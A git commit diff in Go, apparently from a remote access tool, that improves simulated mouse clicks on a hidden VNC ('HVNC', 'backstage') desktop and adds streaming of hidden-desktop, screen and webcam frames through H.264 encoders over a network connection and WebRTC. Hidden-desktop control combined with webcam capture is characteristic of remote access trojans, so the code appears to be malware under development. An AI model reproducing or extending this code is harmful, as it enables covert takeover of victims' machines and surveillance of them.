major improvements

This commit is contained in:
KingKDot
2026-06-12 09:14:49 -05:00
parent a2634a7454
commit b6672ee375
47 changed files with 1498 additions and 231 deletions
@@ -1105,6 +1105,8 @@ var (
uiaDragStartPt point
uiaLastClickTime time.Time
uiaLastClickHwnd uintptr
uiaLastClickBtn int
uiaLastClickPt point
)
func uiaSetActiveElement(elem *iuiAutomationElement) {
@@ -1164,37 +1166,24 @@ func uiaHandleMouseMove(hwnd uintptr, screenPt point) {
func uiaHandleMouseButton(hwnd uintptr, screenPt point, button int, down bool) error {
uiaEnsureWorker()
inputSite := findInputSiteChild(hwnd)
msg, wparam, ok := uiaMouseButtonMessage(button, down)
if !ok {
return nil
}
messageTarget := uiaFastMouseTarget(hwnd, inputSite)
if down {
uiaActiveMu.Lock()
uiaDragStartPt = screenPt
uiaDragActive = false
uiaActiveMu.Unlock()
inputSite := findInputSiteChild(hwnd)
if inputSite != 0 {
clientPt := screenPt
procScreenToClient.Call(inputSite, uintptr(unsafe.Pointer(&clientPt)))
switch button {
case 0:
postMouseMessage(inputSite, WM_LBUTTONDOWN, MK_LBUTTON, clientPt)
case 2:
postMouseMessage(inputSite, WM_RBUTTONDOWN, MK_RBUTTON, clientPt)
}
}
uiaPostMouseToTarget(messageTarget, msg, wparam, screenPt)
return nil
}
inputSite := findInputSiteChild(hwnd)
if inputSite != 0 {
clientPt := screenPt
procScreenToClient.Call(inputSite, uintptr(unsafe.Pointer(&clientPt)))
switch button {
case 0:
postMouseMessage(inputSite, WM_LBUTTONUP, 0, clientPt)
case 2:
postMouseMessage(inputSite, WM_RBUTTONUP, 0, clientPt)
}
}
uiaPostMouseToTarget(messageTarget, msg, wparam, screenPt)
uiaActiveMu.Lock()
wasInDrag := uiaDragActive
@@ -1206,22 +1195,70 @@ func uiaHandleMouseButton(hwnd uintptr, screenPt point, button int, down bool) e
}
now := time.Now()
isDoubleClick := now.Sub(uiaLastClickTime) < 400*time.Millisecond && uiaLastClickHwnd == hwnd
dx := screenPt.x - uiaLastClickPt.x
dy := screenPt.y - uiaLastClickPt.y
isDoubleClick := now.Sub(uiaLastClickTime) < 400*time.Millisecond &&
uiaLastClickHwnd == hwnd &&
uiaLastClickBtn == button &&
dx*dx+dy*dy <= 25
uiaLastClickTime = now
uiaLastClickHwnd = hwnd
uiaLastClickBtn = button
uiaLastClickPt = screenPt
pt := screenPt // copy for closure
btn := button
isDbl := isDoubleClick
is := inputSite
h := hwnd
target := messageTarget
uiaRunAsync(func() {
uiaMouseUpWorker(h, pt, btn, isDbl, is)
uiaMouseUpWorker(h, pt, btn, isDbl, is, target)
})
return nil
}
func uiaMouseUpWorker(hwnd uintptr, screenPt point, button int, isDoubleClick bool, inputSite uintptr) {
func uiaMouseButtonMessage(button int, down bool) (uint32, uintptr, bool) {
wparam := uintptr(currentMouseButtons())
switch button {
case 0:
if down {
return WM_LBUTTONDOWN, wparam | MK_LBUTTON, true
}
return WM_LBUTTONUP, wparam, true
case 1:
if down {
return WM_MBUTTONDOWN, wparam | MK_MBUTTON, true
}
return WM_MBUTTONUP, wparam, true
case 2:
if down {
return WM_RBUTTONDOWN, wparam | MK_RBUTTON, true
}
return WM_RBUTTONUP, wparam, true
default:
return 0, 0, false
}
}
func uiaFastMouseTarget(hwnd uintptr, inputSite uintptr) uintptr {
if inputSite != 0 {
return inputSite
}
return hwnd
}
func uiaPostMouseToTarget(hwnd uintptr, msg uint32, wparam uintptr, screenPt point) bool {
if hwnd == 0 {
return false
}
clientPt := screenPt
procScreenToClient.Call(hwnd, uintptr(unsafe.Pointer(&clientPt)))
postMouseMessage(hwnd, msg, wparam, clientPt)
return true
}
func uiaMouseUpWorker(hwnd uintptr, screenPt point, button int, isDoubleClick bool, inputSite uintptr, postedTarget uintptr) {
if uiaSingleton == nil {
return
}
@@ -1235,42 +1272,109 @@ func uiaMouseUpWorker(hwnd uintptr, screenPt point, button int, isDoubleClick bo
}
defer elem.Release()
messageTarget := uiaResolvedMouseTarget(hwnd, elem, inputSite)
if messageTarget == 0 {
messageTarget = postedTarget
}
switch button {
case 0: // Left click
if uiaTryAction(elem, isDoubleClick) {
return
}
if uiaTreeWalker != nil {
current := elem
for i := 0; i < 6; i++ {
parent := uiaTreeWalker.GetParentElement(current)
if parent == nil {
break
}
if current != elem {
current.Release()
}
current = parent
if uiaTryAction(current, isDoubleClick) {
if current != elem {
current.Release()
}
return
}
}
if current != elem {
current.Release()
if isWinUI3Window(hwnd) {
if uiaTryActionAscending(elem, isDoubleClick) {
return
}
}
elem.SetFocus()
uiaSelectItem(elem)
case 2: // Right click — context menu
if inputSite != 0 {
procPostMessageW.Call(inputSite, WM_CONTEXTMENU, inputSite, makeLParam(screenPt.x, screenPt.y))
case 2: // Right click: identify the element, then ask its window for a context menu.
elem.SetFocus()
uiaSelectItem(elem)
if messageTarget != 0 {
procPostMessageW.Call(messageTarget, WM_CONTEXTMENU, messageTarget, makeLParam(screenPt.x, screenPt.y))
}
}
}
func uiaResolvedMouseTarget(hwnd uintptr, elem *iuiAutomationElement, inputSite uintptr) uintptr {
if inputSite != 0 && isWinUI3Window(hwnd) {
return inputSite
}
if native := uiaNativeWindowFromElement(elem); native != 0 {
return native
}
if inputSite != 0 {
return inputSite
}
return hwnd
}
func uiaNativeWindowFromElement(elem *iuiAutomationElement) uintptr {
if elem == nil {
return 0
}
if hwnd := elem.GetNativeWindowHandle(); hwnd != 0 {
return hwnd
}
if uiaTreeWalker == nil {
return 0
}
current := elem
for i := 0; i < 8; i++ {
parent := uiaTreeWalker.GetParentElement(current)
if parent == nil {
break
}
if current != elem {
current.Release()
}
current = parent
if hwnd := current.GetNativeWindowHandle(); hwnd != 0 {
if current != elem {
current.Release()
}
return hwnd
}
}
if current != elem {
current.Release()
}
return 0
}
func uiaTryActionAscending(elem *iuiAutomationElement, isDoubleClick bool) bool {
if elem == nil {
return false
}
if uiaTryAction(elem, isDoubleClick) {
return true
}
if uiaTreeWalker == nil {
return false
}
current := elem
for i := 0; i < 6; i++ {
parent := uiaTreeWalker.GetParentElement(current)
if parent == nil {
break
}
if current != elem {
current.Release()
}
current = parent
if uiaTryAction(current, isDoubleClick) {
if current != elem {
current.Release()
}
return true
}
}
if current != elem {
current.Release()
}
return false
}
func uiaTryAction(elem *iuiAutomationElement, isDoubleClick bool) bool {
if uiaInvoke(elem) {
if isDoubleClick {
@@ -1122,8 +1122,9 @@ func hvncMouseButtonOnThread(button int, down bool) error {
return nil
}
// WinUI3 branch: route through UIA patterns
if hvncUIAEnabled.Load() && isWinUI3Window(hitHwnd) {
// UIA branch: keep message-style clicks as the primary signal, but let
// UIA resolve complicated targets such as WinUI3/Explorer elements.
if hvncUIAEnabled.Load() {
return uiaHandleMouseButton(hitHwnd, pt, button, down)
}
@@ -614,6 +614,14 @@ func ResetPrev() {
resetH264Encoder()
}
func ResetPrevHVNC() {
hvncPrevMu.Lock()
hvncPrevFrame = nil
hvncPrevMu.Unlock()
hvncLastKeyframe.Store(0)
resetH264EncoderHVNC()
}
func jpegQuality() int {
if q := overrideQuality.Load(); q > 0 {
@@ -1550,12 +1558,14 @@ func SetQualityAndCodec(quality int, codec string) {
h264WarnOnce = sync.Once{}
if s != "h264" {
resetH264Encoder()
resetH264EncoderHVNC()
}
case "":
default:
overrideCodec.Store("jpeg")
resetH264Encoder()
resetH264EncoderHVNC()
}
}
@@ -1599,9 +1609,19 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
}
captureDur := time.Since(t0)
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC)
var slotAcquired bool
if !willSendViaWebRTC && !AcquireFrameSlot() {
return nil
}
slotAcquired = !willSendViaWebRTC
quality := jpegQuality()
frame, encodeDur, err := buildFrameHVNC(img, display, quality)
if err != nil {
if slotAcquired {
ReleaseFrameSlot()
}
return err
}
@@ -1613,12 +1633,37 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
frame.Header.FPS = fps
if ctx.Err() != nil {
if slotAcquired {
ReleaseFrameSlot()
}
return nil
}
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
dur := time.Second / time.Duration(fps)
if dur <= 0 {
dur = 33 * time.Millisecond
}
if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
log.Printf("webrtc: write hvnc h264 failed: %v", werr)
}
if slotAcquired {
ReleaseFrameSlot()
}
return nil
}
if !slotAcquired {
if !AcquireFrameSlot() {
return nil
}
slotAcquired = true
}
sendStart := time.Now()
err = wire.WriteMsg(ctx, env.Conn, frame)
sendDur := time.Since(sendStart)
if err != nil {
ReleaseFrameSlot()
}
if shouldLogFrame(now) {
total := time.Since(t0)
@@ -443,7 +443,7 @@ var (
func encodeH264Frame(img *image.RGBA) ([]byte, error) {
h264Mu.Lock()
defer h264Mu.Unlock()
out, err := encodeH264FrameWithEncoder(&h264Enc, img)
out, err := encodeH264FrameWithEncoder(&h264Enc, "desktop", img)
h264LastErr = err
return out, err
}
@@ -451,16 +451,16 @@ func encodeH264Frame(img *image.RGBA) ([]byte, error) {
func encodeH264FrameHVNC(img *image.RGBA) ([]byte, error) {
hvncH264Mu.Lock()
defer hvncH264Mu.Unlock()
return encodeH264FrameWithEncoder(&hvncH264Enc, img)
return encodeH264FrameWithEncoder(&hvncH264Enc, "backstage", img)
}
func encodeH264FrameWebcam(img *image.RGBA) ([]byte, error) {
webcamH264Mu.Lock()
defer webcamH264Mu.Unlock()
return encodeH264FrameWithEncoder(&webcamH264Enc, img)
return encodeH264FrameWithEncoder(&webcamH264Enc, "webcam", img)
}
func encodeH264FrameWithEncoder(slot *h264FrameEncoder, img *image.RGBA) ([]byte, error) {
func encodeH264FrameWithEncoder(slot *h264FrameEncoder, stream string, img *image.RGBA) ([]byte, error) {
if img == nil {
return nil, errors.New("nil h264 frame")
}
@@ -479,7 +479,7 @@ func encodeH264FrameWithEncoder(slot *h264FrameEncoder, img *image.RGBA) ([]byte
(*slot).Close()
*slot = nil
}
enc, err := newWindowsH264Encoder(width, height, fps)
enc, err := newWindowsH264Encoder(stream, width, height, fps)
if err != nil {
return nil, err
}
@@ -546,12 +546,13 @@ func closeH264Encoder(slot *h264FrameEncoder) {
}
}
func newWindowsH264Encoder(width, height, fps int) (h264FrameEncoder, error) {
if enc, err := newNativeH264Encoder(width, height, fps); err == nil {
func newWindowsH264Encoder(stream string, width, height, fps int) (h264FrameEncoder, error) {
if enc, err := newNativeH264Encoder(stream, width, height, fps); err == nil {
return enc, nil
} else {
log.Printf("capture: native NVENC D3D11 h264 encoder unavailable for %dx%d@%dfps: %v; trying Media Foundation", width, height, fps, err)
log.Printf("capture: native NVENC D3D11 h264 encoder unavailable stream=%s size=%dx%d fps=%d: %v; trying Media Foundation", stream, width, height, fps, err)
}
log.Printf("capture: media foundation h264 fallback selected stream=%s size=%dx%d fps=%d", stream, width, height, fps)
return newMFH264Encoder(width, height, fps)
}
@@ -5,7 +5,7 @@ package capture
import "fmt"
import "unsafe"
func newNativeH264Encoder(width, height, fps int) (h264FrameEncoder, error) {
func newNativeH264Encoder(stream string, width, height, fps int) (h264FrameEncoder, error) {
return nil, fmt.Errorf("native NVENC D3D11 requires cgo for %dx%d@%dfps", width, height, fps)
}
@@ -1524,7 +1524,7 @@ type nativeH264Encoder struct {
scratch []byte
}
func newNativeH264Encoder(width, height, fps int) (h264FrameEncoder, error) {
func newNativeH264Encoder(stream string, width, height, fps int) (h264FrameEncoder, error) {
bitrate := targetH264Bitrate(width, height, fps)
raw := C.nvenc_create_d3d11_encoder(C.int(width), C.int(height), C.int(fps), C.int(bitrate))
if raw.encoder == nil {
@@ -1537,7 +1537,7 @@ func newNativeH264Encoder(width, height, fps int) (h264FrameEncoder, error) {
requestedFPS: fps,
fps: fps,
}
log.Printf("capture: native NVENC D3D11 h264 encoder active provider=NVIDIA NVENC size=%dx%d fps=%d input=NV12(upload) bitrate=%d", width, height, fps, bitrate)
log.Printf("capture: native NVENC D3D11 h264 encoder active stream=%s provider=NVIDIA NVENC size=%dx%d fps=%d input=NV12(upload) bitrate=%d", stream, width, height, fps, bitrate)
return enc, nil
}